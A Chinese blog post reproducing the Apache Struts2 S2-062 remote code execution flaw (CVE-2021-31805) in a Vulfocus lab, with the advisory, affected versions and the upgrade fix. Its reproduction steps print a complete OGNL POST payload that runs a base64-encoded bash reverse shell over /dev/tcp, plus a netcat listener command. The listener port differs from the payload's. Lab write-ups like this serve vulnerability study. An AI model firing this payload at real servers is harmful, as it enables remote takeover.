前言
咳咳,这个漏洞吧出来也有几天了,最近一直没时间,今天加个班写一下!
一、漏洞描述
Apache Struts2是一个基于MVC设计模式的流行的Web应用程序框架。
Apache Struts2发布安全公告(S2-062),修复了Apache Struts2中的一个远程代码执行漏洞(CVE-2021-31805)。
由于对CVE-2020-17530的修复不完整,在Apache Struts 2.0.0-2.5.29中,如果开发人员使用%{…}语法应用强制OGNL解析,标签的某些属性仍然可被二次解析。当对标签属性中未经验证的原始用户输入进行解析时可能会导致远程代码执行。
二、影响范围
Apache Struts 2.0.0-2.5.29
三、修复建议
目前此漏洞已经修复,建议受影响用户及时升级更新到Apache Struts 2.5.30或更高版本。
下载链接:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30
缓解措施:避免对不受信任或未经验证的用户输入使用强制OGNL解析。
四、漏洞复现
复现环境:Vulfocus 漏洞威胁分析平台 在线靶场,这个靶场还是不错的
1.根据漏洞提示访问首页
![图片[1]-S2-062 远程命令执行漏洞复现(cve-2021-31805)-MHcloud-网络安全资源大全-文档库-漏洞库](https://www.mhycloud.cn/wp-content/uploads/2025/09/image-24-1024x348.png)
2.抓包首页
![图片[2]-S2-062 远程命令执行漏洞复现(cve-2021-31805)-MHcloud-网络安全资源大全-文档库-漏洞库](https://www.mhycloud.cn/wp-content/uploads/2025/09/image-25-1024x503.png)
3.构造payload,变更请求方法为post,
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTQ1NCAwPiYx}|{base64,-d}|{bash,-i}'}))
![图片[3]-S2-062 远程命令执行漏洞复现(cve-2021-31805)-MHcloud-网络安全资源大全-文档库-漏洞库](https://www.mhycloud.cn/wp-content/uploads/2025/09/image-26-1024x777.png)
4.把反弹shell的命令base64编码处理并且对其url编码
![图片[4]-S2-062 远程命令执行漏洞复现(cve-2021-31805)-MHcloud-网络安全资源大全-文档库-漏洞库](https://www.mhycloud.cn/wp-content/uploads/2025/09/image-27-1024x522.png)
5. base64 加密
![图片[5]-S2-062 远程命令执行漏洞复现(cve-2021-31805)-MHcloud-网络安全资源大全-文档库-漏洞库](https://www.mhycloud.cn/wp-content/uploads/2025/09/image-28-1024x344.png)
6.URL加密
![图片[6]-S2-062 远程命令执行漏洞复现(cve-2021-31805)-MHcloud-网络安全资源大全-文档库-漏洞库](https://www.mhycloud.cn/wp-content/uploads/2025/09/image-29-1024x348.png)
7. 替换到bp里面
![图片[7]-S2-062 远程命令执行漏洞复现(cve-2021-31805)-MHcloud-网络安全资源大全-文档库-漏洞库](https://www.mhycloud.cn/wp-content/uploads/2025/09/image-30-1024x392.png)
8.准备一台服务器进行监听
nc -vvlp 7777
![图片[8]-S2-062 远程命令执行漏洞复现(cve-2021-31805)-MHcloud-网络安全资源大全-文档库-漏洞库](https://www.mhycloud.cn/wp-content/uploads/2025/09/image-31-1024x191.png)
9.bp点击发送反弹shell
![图片[9]-S2-062 远程命令执行漏洞复现(cve-2021-31805)-MHcloud-网络安全资源大全-文档库-漏洞库](https://www.mhycloud.cn/wp-content/uploads/2025/09/image-32-1024x695.png)
![图片[10]-S2-062 远程命令执行漏洞复现(cve-2021-31805)-MHcloud-网络安全资源大全-文档库-漏洞库](https://www.mhycloud.cn/wp-content/uploads/2025/09/image-33-1024x229.png)
到这里整个漏洞就复现完成了
今天依旧大佬勿喷哈!!
本人理念:菜也要菜的理直气壮!!
MHcloud一个对网络安全充满憧憬的小菜鸡















暂无评论内容